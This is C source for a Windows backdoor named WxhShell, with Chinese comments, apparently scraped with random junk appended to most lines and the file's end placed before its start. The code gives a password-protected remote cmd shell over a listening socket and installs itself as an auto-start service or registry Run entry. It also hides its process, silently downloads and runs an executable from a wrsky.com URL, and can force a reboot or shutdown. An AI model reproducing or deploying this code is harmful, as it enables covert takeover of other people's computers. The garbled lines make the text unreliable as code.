    if(Boot(SHUTDOWN)) a*2JLK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ka=EOiX.  
    else { <Dk6o`7^N  
    closesocket(wsh); to,\sc  
    ExitThread(0); 0^('hS&  
    } omu )s '8  
    break; x u<oQBt  
    } \0fS;Q^{j  
  // 获取shell z ?L]5m` H  
  case 's': { }ebu@)r  
    CmdShell(wsh); " rVf{  
    closesocket(wsh); X:2)C-l?  
    ExitThread(0); BWF>;*Xro  
    break; !FA[ ]d4  
  } -4Hf5!  
  // 退出 ZVIlVuZ}  
  case 'x': { Ci9]#)"c  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); %n B}Hq ;  
    CloseIt(wsh); hEhvA6f,  
    break; <rI8O;\H  
    } GtLn h~)  
  // 离开 a1dkB"Zp.p  
  case 'q': { 2I$-&c]  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); .o(S60iH!(  
    closesocket(wsh); s:zz 8oN  
    WSACleanup(); Um%$TGw5  
    exit(1); L)"E_  
    break; FE'F@aS\  
        } 1|XC$0  
  } |SX31T9rG  
  } RLNto5?  
S; Fj9\2)I  
  // 提示信息 B`w@Xk'D  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); pq +~|  
} >(He,o@M  
  } eKvQS}11  
@:w[(K[^b/  
  return; Qv B%X)J  
} Lq#$q>!K  
)(V!& w6  
// shell模块句柄 \AY*x=PF  
int CmdShell(SOCKET sock) #-7w |  
{ UPcx xtC  
STARTUPINFO si; 8~|tl,  
ZeroMemory(&si,sizeof(si)); 'U*Kb  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Y]neTX [ef  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; g9G 8;  
PROCESS_INFORMATION ProcessInfo; |R3A$r#-  
char cmdline[]="cmd"; uRnSwJ"hE  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ?#gYu %7DN  
  return 0; >A.m`w  
} "w&G1kw5I  
+`&-xq76  
// 自身启动模式 M32Z3<  
int StartFromService(void) pxV@fH+`  
{ Z(c2F]  
typedef struct ~{$5JIpCm  
{ }J+ \o~  
  DWORD ExitStatus; cyXnZs ?|  
  DWORD PebBaseAddress; OM (D@up  
  DWORD AffinityMask; el3lR((H  
  DWORD BasePriority; |PutTcjQ  
  ULONG UniqueProcessId; ~JX+4~qT  
  ULONG InheritedFromUniqueProcessId; _ lE d8Cb  
}   PROCESS_BASIC_INFORMATION; VRA0p[  
 aX}:O  
PROCNTQSIP NtQueryInformationProcess; T{4Ru6[  
ay>u``$R  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; <2ymfL-q  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; "yf#sEabV  
!b{7gUjyI  
  HANDLE             hProcess; [DSD[[ z[  
  PROCESS_BASIC_INFORMATION pbi; S*'  
7q@>d(xho  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); b |JM4jgK  
  if(NULL == hInst ) return 0; ZnZ`/zNO  
)^]1j$N=3  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ~L?q.*q  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); !9g >/9h  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); j6#RV@ p`  
LgJUMR8vUO  
  if (!NtQueryInformationProcess) return 0; 9#)&  
7thB1cOJ  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 2[~|6 @n  
  if(!hProcess) return 0; \{{i:&] H  
R}0xWPt9G  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ;Y%.m3  
tWa_-Un3  
  CloseHandle(hProcess); ^k}%k#)  
{Ax{N  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ;To][J  
if(hProcess==NULL) return 0; s\io9'Ec  
57rH`UFXH  
HMODULE hMod; ]}A3Pm- t*  
char procName[255]; ES9|eo6  
unsigned long cbNeeded; W?2Z31;7  
/2fQM_ ,P  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); MB!$s_~o#L  
5o2|QL  
  CloseHandle(hProcess); ,%U'>F?  
,_!MI+o0  
if(strstr(procName,"services")) return 1; // 以服务启动 3-U@==:T  
sHf.xc  
  return 0; // 注册表启动 `%Jq^uW  
} HK4 *+  
0})mCVBY  
// 主模块 X.FFBKjf[e  
int StartWxhshell(LPSTR lpCmdLine) Y4,LXuQ  
{ CSNfLGA  
  SOCKET wsl; B^lm'/,@  
BOOL val=TRUE; C?fa-i0l^  
  int port=0; xSL%1>MrN  
  struct sockaddr_in door; lbnH|;`$]m  
IrTMZG  
  if(wscfg.ws_autoins) Install(); 5/C#*%EH'  
oa:30@HSb  
port=atoi(lpCmdLine); Mhiz{Td  
k \V6 q9*  
if(port<=0) port=wscfg.ws_port; V^E.9fs,  
wC>Xu.Z:  
  WSADATA data; pipqXe  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; jb lj]/  
+9[s(E?SY  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   k/mO(i%qi  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Hribk[99  
  door.sin_family = AF_INET; s2;b-0  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); vY'E+M"+@  
  door.sin_port = htons(port); qgk6 \&K[  
%eQw\o,a  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { V>:ubl8j0l  
closesocket(wsl); -Gn0TA2/C  
return 1; uBqZ62{G  
} 6ujePi <U  
#P5tTCM  
  if(listen(wsl,2) == INVALID_SOCKET) { !/wR[`s9w  
closesocket(wsl); E'wJ+X9 +  
return 1; ar[*!:!  
} =6^phZ(  
  Wxhshell(wsl); 3e7P w`gLl  
  WSACleanup(); fLR\@f  
iz5WWn^  
return 0; tC4 7P[b  
C">w3#M%  
} a[A9(Ftn  
EH~XN9b  
// 以NT服务方式启动 -9> oB  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 8}<4f|?  
{ Y!nxHRE  
DWORD   status = 0; ! C|VX,w  
  DWORD   specificError = 0xfffffff; |Y|gT*v  
t-3y`31i.  
  serviceStatus.dwServiceType     = SERVICE_WIN32; j_Q kw ?   
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; e9@7GaL`"S  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 8nQjD<-  
  serviceStatus.dwWin32ExitCode     = 0; bj`mQMC  
  serviceStatus.dwServiceSpecificExitCode = 0; 3gNVnmZG  
  serviceStatus.dwCheckPoint       = 0; ,+hH|$  
  serviceStatus.dwWaitHint       = 0; K3On8  
"*N=aHsj  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Y1Sfhs )  
  if (hServiceStatusHandle==0) return; > nOU 8  
1@vlbgLr@  
status = GetLastError(); /`vn/X^?^  
  if (status!=NO_ERROR) F3pBk)>a\  
{ L-QzC<[F/  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ;!H|0sv  
    serviceStatus.dwCheckPoint       = 0; b$k|D)_|  
    serviceStatus.dwWaitHint       = 0; ~T'Ri=  
    serviceStatus.dwWin32ExitCode     = status; bL"!z"NA  
    serviceStatus.dwServiceSpecificExitCode = specificError; ZQ'bB5I  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); r~U/t~V=D  
    return; Mz#<Vm4  
  } +?[,{WtV  
fBRU4q=^T  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; B`i 5lD  
  serviceStatus.dwCheckPoint       = 0; q#!]5  
  serviceStatus.dwWaitHint       = 0; JOvRU DZ  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); <C6*-j1oz  
} I|oS`iLl$  
l1MVC@'pvP  
// 处理NT服务事件,比如:启动、停止 l\%LT{$e  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Vp~c$y+  
{ ]F81N(@:F  
switch(fdwControl) $bd2TVNV:  
{ [/iT D=O,  
case SERVICE_CONTROL_STOP: P}RewMJ$L  
  serviceStatus.dwWin32ExitCode = 0; (@"5:M  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; H(WRm1i"G  
  serviceStatus.dwCheckPoint   = 0; daakawn+  
  serviceStatus.dwWaitHint     = 0; G.[,P~yy.  
  { i6y$P6s  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @ky<5r*JU(  
  }  ]H_|E  
  return; TEYn^/n~  
case SERVICE_CONTROL_PAUSE: {'e%Hx  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; T_=iJ: Q  
  break; ? j8S.d~  
case SERVICE_CONTROL_CONTINUE: *%,{<C,Y  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; %=GF  
  break; rjLPX  
case SERVICE_CONTROL_INTERROGATE: wSwDhOX=  
  break; YN>k5\M_v  
}; MrGq{,6C  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >*FHJCe  
} XwNJHOaF  
5B76D12  
// 标准应用程序主函数 C~:@ETcbil  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) DtrR< &m  
{ ~vMdIZ.h  
g!*5@k|C  
// 获取操作系统版本 7Fd`M To  
OsIsNt=GetOsVer(); p,'Z{7HG  
GetModuleFileName(NULL,ExeFile,MAX_PATH); aF (L_  
!|@hU/  
  // 从命令行安装 IVblS iFF  
  if(strpbrk(lpCmdLine,"iI")) Install(); -4IHs=`;I  
/suW{8A(E  
  // 下载执行文件 eKw!%97>  
if(wscfg.ws_downexe) { #lld*I"d  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) b)1v:X4Bv=  
  WinExec(wscfg.ws_filenam,SW_HIDE); F\G-. 1  
} AZgeu$:7p<  
THl={,Rw`  
if(!OsIsNt) { 1q7Y,whp  
// 如果时win9x,隐藏进程并且设置为注册表启动 o&Vti"fpC  
HideProc(); ooW;s<6  
StartWxhshell(lpCmdLine); bB->7.GXu  
} 7yM"G$  
else |2t1m 6\j  
  if(StartFromService()) D{)K00mm  
  // 以服务方式启动 X{YY)}^  
  StartServiceCtrlDispatcher(DispatchTable); a?dUJt  
else ]QbT%0  
  // 普通方式启动 R5KOai!  
  StartWxhshell(lpCmdLine); "xK#%eJjWd  
N9}27T+4  
return 0; rUL_=>3  
} AIU=56+I\  
:kb2v1{\  
4[VW~x07  
*?v_AZ  
=========================================== %/:0x:ns  
Q 2mTu[tx  
7XU$O$C  
b$W~w*O   
%&[=%zc  
#PJHwvr  
" "z6 xS;  
|3{"ANmm'  
#include <stdio.h> WNmG'hlA  
#include <string.h> |@*3 nb8  
#include <windows.h> Ua2waA  
#include <winsock2.h> wS"`~Ql_  
#include <winsvc.h> Dm+[cA"I  
#include <urlmon.h> *&nIxb60b{  
BJNZH#"  
#pragma comment (lib, "Ws2_32.lib") J\%SAit@  
#pragma comment (lib, "urlmon.lib") JOUZ"^v  
mQka?_if)  
#define MAX_USER   100 // 最大客户端连接数 km,I75o.  
#define BUF_SOCK   200 // sock buffer d"0=.sA  
#define KEY_BUFF   255 // 输入 buffer GVK c4HGt  
1&.q#,EMn(  
#define REBOOT     0   // 重启 $c0<I59&|  
#define SHUTDOWN   1   // 关机 f]C`]qg  
@yj$  
#define DEF_PORT   5000 // 监听端口 ,%X"Caz  
LuE0Hb"S8  
#define REG_LEN     16   // 注册表键长度 9 7Ua,  
#define SVC_LEN     80   // NT服务名长度 #M5pQ&yZy  
kIwq%c;  
// 从dll定义API &ra2(S45  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); F>lM[Lu#  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); :6[G;F7s  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 9pMXjsE   
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); pAtt=R,Ht  
]*]#I?&'Hx  
// wxhshell配置信息 =!N,{V_  
struct WSCFG { "969F(S$  
  int ws_port;         // 监听端口 Z(Z$>P&4  
  char ws_passstr[REG_LEN]; // 口令 >.1d1#+b  
  int ws_autoins;       // 安装标记, 1=yes 0=no mTU[khEmL=  
  char ws_regname[REG_LEN]; // 注册表键名 e,D RQ2AU  
  char ws_svcname[REG_LEN]; // 服务名 5I>a|I!j  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 s^R$u"pFs  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 jb83Y>  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 K 3.z>.F'h  
int ws_downexe;       // 下载执行标记, 1=yes 0=no k@ So l6  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" TR&7AiqB  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 9  M90X8  
[U@ ;EeS  
}; yW]>v>l:Eg  
H g04pZupN  
// default Wxhshell configuration U9Gg#M4tY  
struct WSCFG wscfg={DEF_PORT, vtw97G  
    "xuhuanlingzhe", ecMpU8}rR  
    1, @ *&`1  
    "Wxhshell", !%/2^  
    "Wxhshell", .Mxt F\  
            "WxhShell Service", 49tJ+J-N  
    "Wrsky Windows CmdShell Service", $[U:Dk}  
    "Please Input Your Password: ", Uo0[ZsFD  
  1, =: =s  
  "http://www.wrsky.com/wxhshell.exe", sUk&NM%>  
  "Wxhshell.exe" &~'^;hy=  
    }; P%y9fU2[  
?Ll1B3f  
// 消息定义模块 U&o ~U] rm  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; UWW'[gEP1  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ;-quK%VO!  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Z \S'HNU  
char *msg_ws_ext="\n\rExit."; #Fckev4  
char *msg_ws_end="\n\rQuit."; ,Yu2K`  
char *msg_ws_boot="\n\rReboot..."; (gEz<}Av.  
char *msg_ws_poff="\n\rShutdown...";  ,8)aK y  
char *msg_ws_down="\n\rSave to "; z Ek/#&  
7? ]wAH89  
char *msg_ws_err="\n\rErr!"; 1B`JvNtd  
char *msg_ws_ok="\n\rOK!"; S;}/ql y  
BmFtRbR  
char ExeFile[MAX_PATH]; ^0(`:*  
int nUser = 0; jL*s(Yq  
HANDLE handles[MAX_USER]; ; ]VLA9dC  
int OsIsNt; 7e:7RAX  
"Z#MR`;&29  
SERVICE_STATUS       serviceStatus; }_fVv{D   
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ,T8fo\a4  
)(h<vo)-zX  
// 函数声明 H)pB{W/  
int Install(void); +:3p*x%1H  
int Uninstall(void); )VeeAu)p  
int DownloadFile(char *sURL, SOCKET wsh); L"'L@ A|U  
int Boot(int flag); BYZllwxwTE  
void HideProc(void); @N6KZn |R  
int GetOsVer(void); nnuJY$O;M  
int Wxhshell(SOCKET wsl); b8h6fB:2  
void TalkWithClient(void *cs); ~EO=;a_  
int CmdShell(SOCKET sock); ge[&og/$  
int StartFromService(void); "Xj>dB1~  
int StartWxhshell(LPSTR lpCmdLine); = /kT|  
\]qwD m/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 6#Bg99c  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); uiq;{!dop  
7 aN}l QM  
// 数据结构和表定义 1Ba.'~:  
SERVICE_TABLE_ENTRY DispatchTable[] = w -5_Ru  
{ ksV ^Y=]  
{wscfg.ws_svcname, NTServiceMain}, t]6 4=  
{NULL, NULL} )%bY2 pk  
}; 6BObV/S Jg  
l-q.VY2  
// 自我安装 / jN &VpDG  
int Install(void) zJTSg  
{ }qN   
  char svExeFile[MAX_PATH]; t Z]b0T(e  
  HKEY key; ,%]x T>kH  
  strcpy(svExeFile,ExeFile); g.x]x #BC  
R QCKH]&!  
// 如果是win9x系统,修改注册表设为自启动 |$`I1  
if(!OsIsNt) { @\Yu?_a  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { XB+Juk&d  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); V]|P>>`v9p  
  RegCloseKey(key); ^fhkWx4i  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Ombvp;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); h"(HDnq  
  RegCloseKey(key); 9m}c2:p  
  return 0; Os)}kkja  
    } D1~3 3;  
  } a*?,wmzl  
} B'KZ >jO  
else { YvPs   
!po29w:S  
// 如果是NT以上系统,安装为系统服务 ^:]~6p#  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); J0yo@O  
if (schSCManager!=0) AjMx\'(C  
{ IfpFsq:  
  SC_HANDLE schService = CreateService 8p.O rdp  
  ( 0BQ<a  
  schSCManager, ~ MW_=6U  
  wscfg.ws_svcname, "%)^:('Ki  
  wscfg.ws_svcdisp, v DVE#Nm_  
  SERVICE_ALL_ACCESS, (Q6}N'T  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , LE@`TPg$R  
  SERVICE_AUTO_START, QiQO>r  
  SERVICE_ERROR_NORMAL, y0cB@pWp  
  svExeFile, -\~D6OA  
  NULL, oWdvpvO  
  NULL, zP#%ya :I  
  NULL, 1}jwv_0lL  
  NULL, &g5+ |g (  
  NULL y%xn(Bn  
  ); @(s"5i.`)  
  if (schService!=0) P[a\Q`}L  
  { {9YNv<3  
  CloseServiceHandle(schService); Oz7WtN  
  CloseServiceHandle(schSCManager); H8?Kgaj~vf  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ccJ!N  
  strcat(svExeFile,wscfg.ws_svcname); uNG?`>4>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 16n8[U!  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); [9xUMX^}  
  RegCloseKey(key); %yP*Vp,W  
  return 0; ^FN(wvqb8  
    } \F8*HPM=*  
  } #ZPy&GIr  
  CloseServiceHandle(schSCManager); or..e  
} \k)(:[^FY  
} Pdw[#X<[`  
9Sk?tl  
return 1; -<.b3Mh  
} 'U3+'du^8  
pTk1iGfB  
// 自我卸载 3*$)9'  
int Uninstall(void) i;8tA !  
{ )gP0+W!u  
  HKEY key; Z}4 `y"By  
4O** %!|  
if(!OsIsNt) { :,BKB*a\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { l*z.20^P  
  RegDeleteValue(key,wscfg.ws_regname); >6"u{Qmr  
  RegCloseKey(key); K\`>'C2_V  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { J\x.:=V  
  RegDeleteValue(key,wscfg.ws_regname); WZJ}HHePr  
  RegCloseKey(key); pt+[BF6P  
  return 0; "8h7"WR  
  } 8m;tgMFO  
} kZ3w2=x3v  
} l:H}Y3_I  
else { Ff @Cs0R  
298@&_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); uGMmS9v$ J  
if (schSCManager!=0) BV01&.<|  
{ 6_h'0~3?`  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); O6$d@r;EK]  
  if (schService!=0) NM_Xy<.~E  
  { m6oaO9"K  
  if(DeleteService(schService)!=0) { l gzA) (  
  CloseServiceHandle(schService); p2: >m\  
  CloseServiceHandle(schSCManager); BR [3i}Ud  
  return 0; c})f&Z@<  
  } wA;Cj  
  CloseServiceHandle(schService); 5T4!' 4n  
  } E T 2@dY~  
  CloseServiceHandle(schSCManager); ~i y]X:U  
} ?#0|A?U  
} `c~J&@|  
w `0m[*  
return 1; o0'!u  
} Au-h#YV  
~t-!{F  
// 从指定url下载文件 Vy7o}z`  
int DownloadFile(char *sURL, SOCKET wsh) `gFE/i18  
{ ~'<ca<Go|  
  HRESULT hr; o)pso\;  
char seps[]= "/";  N\9 Wxz$  
char *token; <|MF\D'  
char *file; QZs ]'*=#  
char myURL[MAX_PATH]; a{FCg%vD)  
char myFILE[MAX_PATH]; =~f\m:Y  
1||\3L/  
strcpy(myURL,sURL); mjtmN0^SR  
  token=strtok(myURL,seps); e7^B3FOx  
  while(token!=NULL) kg^VzNX  
  { qu:nV"~_  
    file=token; F+3}Gkn  
  token=strtok(NULL,seps); Lradyo44u\  
  } at-+%e  
<//#0r*  
GetCurrentDirectory(MAX_PATH,myFILE); d1rIU6  
strcat(myFILE, "\\"); 9Oe~e  
strcat(myFILE, file); q/lQEfR  
  send(wsh,myFILE,strlen(myFILE),0); U'(@?]2 <G  
send(wsh,"...",3,0); "$Mz>]3&q  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); jJK`+J,i}X  
  if(hr==S_OK) iYk4=l  
return 0; 6,q}1-  
else 6*\WH%  
return 1; JgmX=6N  
~DYv6-p%  
} .h7`Q{  
(L3Etan4RE  
// 系统电源模块 ,'f^K!iA   
int Boot(int flag) EkvTl-  
{ AYP*J  
  HANDLE hToken; t.`&Q|a  
  TOKEN_PRIVILEGES tkp; Gjh8>(  
<X b B;  
  if(OsIsNt) { mhDC1lXF  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); v{[:7]b_=  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); t) :'XGk@  
    tkp.PrivilegeCount = 1; il5Qo  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; y9xvGr[l  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); W#.+C6/  
if(flag==REBOOT) { 4,]z  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) {%b*4x0?  
  return 0; R#^.8g)t  
} [PW\l+i  
else { %A^V@0K3  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ac%6eW0#  
  return 0; 7B)m/%>3s  
} 1R+/T  
  } FP_q?=~rFs  
  else { qLYz-P'ik  
if(flag==REBOOT) { 4Nun-(q  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) _ / >JM0  
  return 0; #{DX*;1m  
} h7"c_=w+  
else { -/'_XR@1  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) <(c_[o/  
  return 0; L<62-+e`  
} o<8('j   
} e>] gCa  
NtfzAz/  
return 1; ' %&gER  
} js..k*j  
^P}jn`4  
// win9x进程隐藏模块 rn9n_)  
void HideProc(void) Oe~x,=X)  
{ ?-Zl(uX  
 J^V}%N".  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); s ]XZQr%  
  if ( hKernel != NULL ) J_S8=`f%  
  { 31^Jg  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); qC x|}5:  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Kt#_Ln_6  
    FreeLibrary(hKernel); U5RLM_a@M  
  } >_J9D?3S  
SIridZ*%  
return; |8q:sr_  
} ! *eDT4a  
Oo0SDWI`(  
// 获取操作系统版本 /Bw <?:  
int GetOsVer(void) q)j_QbW)  
{ TKe\Bi  
  OSVERSIONINFO winfo; B{ Ab #  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); :*} -,{uX  
  GetVersionEx(&winfo); 'EHt A9M  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 9,wD  
  return 1; 4^Y{ BS fF  
  else 7M/v[dwL  
  return 0; ZQk!Ia7  
} M '#a.z%  
@=sM')f&  
// 客户端句柄模块 2<FEn$n[  
int Wxhshell(SOCKET wsl) 2z9s$tp  
{ { MV,>T_  
  SOCKET wsh; ?Qxf~,F  
  struct sockaddr_in client; 1.tAl6]  
  DWORD myID; vvI23!H  
2Onp{,'}  
  while(nUser<MAX_USER) vR3\E"Zi  
{ S54q?sb_  
  int nSize=sizeof(client); 3Cw}y55_y  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); awv$ }EFo  
  if(wsh==INVALID_SOCKET) return 1; vh#81}@N7*  
>t_h/:JZ)  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ?o6X_UxW!  
if(handles[nUser]==0) V,h}l"  
  closesocket(wsh); I`f5)iF?0  
else 3;RQ\{eM  
  nUser++; GEK7q<  
  } z"97AXu  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); n_4 r'w  
7 x'2  
  return 0; uOO\!Hqq  
} ysj5/wtO0  
apOa E7|  
// 关闭 socket Kl,NL]]4*5  
void CloseIt(SOCKET wsh) JC MUK<CG  
{ V3>tW,z  
closesocket(wsh); h UC157  
nUser--; |M&4[ka}  
ExitThread(0); 3K=%I+G(4  
} p0[+Zm{#l  
.VCF[AleS  
// 客户端请求句柄 D 5bPF~q  
void TalkWithClient(void *cs) )bWopc  
{ k8?G%/TD  
Z]e`bfNnI  
  SOCKET wsh=(SOCKET)cs; +Bf?35LP  
  char pwd[SVC_LEN]; s&hr$`V4  
  char cmd[KEY_BUFF]; -.Blj<2ah  
char chr[1]; _%[po%]  
int i,j; YF)]B|I  
mqj-/DN6*  
  while (nUser < MAX_USER) { >%ovL8F  
c: r25  
if(wscfg.ws_passstr) { RfOJUz  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); QC?~$>h!?  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); w_f.\\1r  
  //ZeroMemory(pwd,KEY_BUFF); ]rv4O@||w  
      i=0; Pa6pq;4St  
  while(i<SVC_LEN) { r'`7}@H*  
MkL)  
  // 设置超时 $J^fpXO  
  fd_set FdRead; t/}NX[q  
  struct timeval TimeOut; ^v `naA(  
  FD_ZERO(&FdRead); $AT@r"  
  FD_SET(wsh,&FdRead); o] Xt2E  
  TimeOut.tv_sec=8; 41x"Q?.bY  
  TimeOut.tv_usec=0; /O5&)%N  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); d:k n%L6k_  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Wqkzj^;"G  
Wqkb1~]#Y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); o{6q>Jm  
  pwd=chr[0]; \{}dn,?Fv  
  if(chr[0]==0xd || chr[0]==0xa) { B>W8pZu-J  
  pwd=0; 0-uw3U<  
  break; XZ . T%g  
  } ?!K6")SE  
  i++; 9b&|'BBW  
    } P}]o$nWT  
9vz\R-un  
  // 如果是非法用户,关闭 socket 4-t^?T: qF  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 5f{P% x(  
} !b"?l"C+u  
sO` oapy  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); n>?D-)g  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2j: 0!%  
1X[^^p~^  
while(1) { d=n@#|3  
V"Z8-u  
  ZeroMemory(cmd,KEY_BUFF); n m<?oI*\  
~ ;LzTL  
      // 自动支持客户端 telnet标准   'f!U[Qatg  
  j=0; . %s U)$bH  
  while(j<KEY_BUFF) { ~ney~Pz_  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); xZP*%yM  
  cmd[j]=chr[0]; f4fBUZ^ A  
  if(chr[0]==0xa || chr[0]==0xd) { f-G)pHm  
  cmd[j]=0; #R{>@]x`  
  break; SIV !8mz  
  } h~m,0nGO  
  j++; .07`nIs"  
    } Z;%uDlcXI  
*X(:vET  
  // 下载文件 Km;}xke6  
  if(strstr(cmd,"http://")) { 00.x*v  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); JwB'B  
  if(DownloadFile(cmd,wsh))  #D4  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); S~i9~jA  
  else T#H^ }`  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B ytx.[zbX  
  } gLB(A\yG  
  else { ;U|(rM;  
